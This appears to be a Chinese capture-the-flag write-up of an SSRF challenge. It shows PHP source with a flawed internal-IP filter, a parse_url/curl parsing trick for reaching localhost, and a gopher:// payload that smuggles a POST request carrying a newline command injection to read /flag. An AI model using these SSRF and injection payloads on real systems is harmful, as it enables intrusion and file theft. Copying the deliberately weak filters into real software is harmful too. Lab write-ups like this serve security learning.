访问url,获取index.php代码如下:
<?php
if(!(isset($_POST['url']))){
show_source(__FILE__);
}
// include_once "ping.php";
if (isset($_POST['url'])) {
$link = $_POST['url'];
if(check($link)){
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($curlobj);
curl_close($curlobj);
echo $result;
}else{
echo "unknown error";
}
}
function check($url) {
$url = parse_url($url);
if(isset($url['port'])){ //rewrite url if port exist
$url['path']= ':'.$url['port'].$url['path'];
}
if(isset($url['scheme'])){ # filter scheme
if(strcasecmp($url['scheme'], "ftp") === 0 || strcasecmp($url['scheme'], "telnet") === 0 || strcasecmp($url['scheme'], "dict") === 0 || strcasecmp($url['scheme'], "file") === 0 || strcasecmp($url['scheme'], "ldap") === 0){
return FALSE;
}
}
$host = $url['host'];
if(!preg_match('/[a-zA-Z]/', $host)){
$ip = $host;
if(is_inner_ip_regx($ip)){
return FALSE;
}
}else{
$ip = gethostbyname($host);
if($ip ===$host){
return FALSE;
}
if(is_inner_ip_regx($ip)){
return FALSE;
}
}
return TRUE;
}
function is_inner_ip_regx($ip){
$pattern = "/^(127\.0\.0\.1)|(localhost)|(10\.\d{1,3}\.\d{1,3}\.\d{1,3})|(172\.((1[6-9])|(2\d)|(3[01]))\.\d{1,3}\.\d{1,3})|(192\.168\.\d{1,3}\.\d{1,3})$/";
if(preg_match($pattern, $ip)){
return TRUE;
}else{
return FALSE;
}
}
直接访问ping.php,需要localhost访问
本以为是修改XFF字段或者其他的代理字段,试了:X-Forwarded-For,X-real-ip,发现都不行。然后看index.php的代码,首先需要check为真才能curl访问。首先要确保url是内网IP,但是内网的话check是false,很鬼扯。
仔细看下代码,逻辑上是绕不过去的,本以为还是绕过正则的,试了IPV6绕过[::1],后续在本地搭环境是可以绕过的,代码也没报错,check()为真了,但是在实际测试中却是没有内容,失望+1。
后续转移思路了,看到了parse_url(),baidu了two thousand years later…
终于发现这个是可以通过构造:http://foo@localhost:80@114.114.114.114/ping.php这样的构造绕过。
<?php
echo "test";
// include_once "ping.php";
$link = "http://foo@localhost:80@114.114.114.114/test.txt";
if(check($link)){
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
echo "link->",$link,"\n";
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($curlobj);
curl_close($curlobj);
echo "result->",$result,"\n";
}else{
echo "unknown error";
}
function check($url) {
$url = parse_url($url);
echo "\n----------------\n";
echo "port->",$url['port'],"\n";
echo "host1->",$url['host'],"\n";
echo "scheme->",$url['scheme'],"\n";
echo "path0->",$url['path'],"\n";
//http://[ :: ]:10007/ping.php
if(isset($url['port'])){ //rewrite url if port exist
$url['path']= ':'.$url['port'].$url['path'];
echo "path1->",$url['path'],"\n";
}
if(isset($url['scheme'])){ # filter scheme
if(strcasecmp($url['scheme'], "ftp") === 0 || strcasecmp($url['scheme'], "telnet") === 0 || strcasecmp($url['scheme'], "dict") === 0 || strcasecmp($url['scheme'], "file") === 0 || strcasecmp($url['scheme'], "ldap") === 0){
echo "scheme false\n";
return FALSE;
}
}
$host = $url['host'];
if(!preg_match('/[a-zA-Z]/', $host)){//host是数字组成的
$ip = $host;
echo "ip->",$ip,"\n";
if(is_inner_ip_regx($ip)){//判断是不是内网ip
echo "ip false1\n";
return FALSE;
}
}else{
$ip = gethostbyname($host);//是域名的话解析为IP
echo "ip->",$ip,"\n";
if($ip ===$host){
echo "ip=host false\n";
return FALSE;
}
if(is_inner_ip_regx($ip)){
echo "ip false2\n";
return FALSE;
}
}
return TRUE;
}
function is_inner_ip_regx($ip){
$pattern = "/^(127\.0\.0\.1)|(localhost)|(10\.\d{1,3}\.\d{1,3}\.\d{1,3})|(172\.((1[6-9])|(2\d)|(3[01]))\.\d{1,3}\.\d{1,3})|(192\.168\.\d{1,3}\.\d{1,3})$/";
if(preg_match($pattern, $ip)){
return TRUE;
}else{
return FALSE;
}
}
?>
测试下输出结果为:
parse_url()解析的$ip
不是内网IP,是114.114.114.114
。
cURL解析的$link
却是localhost
。
如下图所示:
又试了two thousand years later…,因为中间构造了http://foo@localhost:10007@114.114.114.114/ping.php
,重点是端口不对,这个坑爬了很久,获取了ping.php源码如下:
<?php
$remote_ip = $_SERVER['REMOTE_ADDR'];
if($remote_ip !== "127.0.0.1") {
echo "Can only be accessed on localhost";
exit();
}
show_source(__FILE__);
extract($_POST); //获取POST请求体中的参数数据
$ip = $ip ? $ip : "127.0.0.1";
$ip = myescapeshellarg($ip);
$cmd = "ping -c 1 $ip";
system($cmd);
function myescapeshellarg($data){
$data = str_replace("\"","\\\"", $data);
$data = str_replace("'","\\'", $data);
$data = str_replace(";","", $data);
$data = str_replace("|","", $data);
$data = str_replace("&","", $data);
$data = str_replace(" ","", $data);
$data = "\"$data\"";
return $data;
}
一看不就是命令截断+注入么,被他娘的胜利冲昏了头,赶紧构造url=HTTP://foo@localhost:80@114.114.114.114/ping.php&ip=www.baidu.com
,试试截断%0a,%0d,${IFS}
,试了two thousand years later…,不成功,还是ping的127.0.0.1
。
仔细想想,瞬间就傻了,我POST请求的就是ping.php,而ping.php中又要传递参数$ip去实现命令注入,相当于两个POST,一次发包怎么办得到,用&ip这种连接显然是错误的。下一步应该是看看CURL协议,毕竟有个scheme过滤,准备去吃个饭回来继续看,发现大佬已经把答案公布了,一阵抽搐之后一切都索然无味了。
url=gopher://u:p@127.0.0.1:80@baidu.com/_POST+/ping.php+HTTP/1.1%250d%250aHost%3a+127.0.0.1%3a80%250d%250aConnection%3a+close%250d%250aContent-Type%3a+application/x-www-form-urlencoded%250d%250aContent-Length%3a+52%250d%250a%250d%250aip=%255c%2522%2509%250a%250acat${IFS}/flag%2509%250a
URL解码之后:
url=gopher://u:p@127.0.0.1:80@baidu.com/_POST /ping.php HTTP/1.1
Host: 127.0.0.1:80
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
ip=\"
cat${IFS}/flag
一次次的不成功,尝试都在磨灭自己的耐心,不断地鼓励自己坚持,最后差一点点的却公布答案了,这感觉太TM不爽了,不爽归不爽,还是因为菜,撸起袖子加油干哦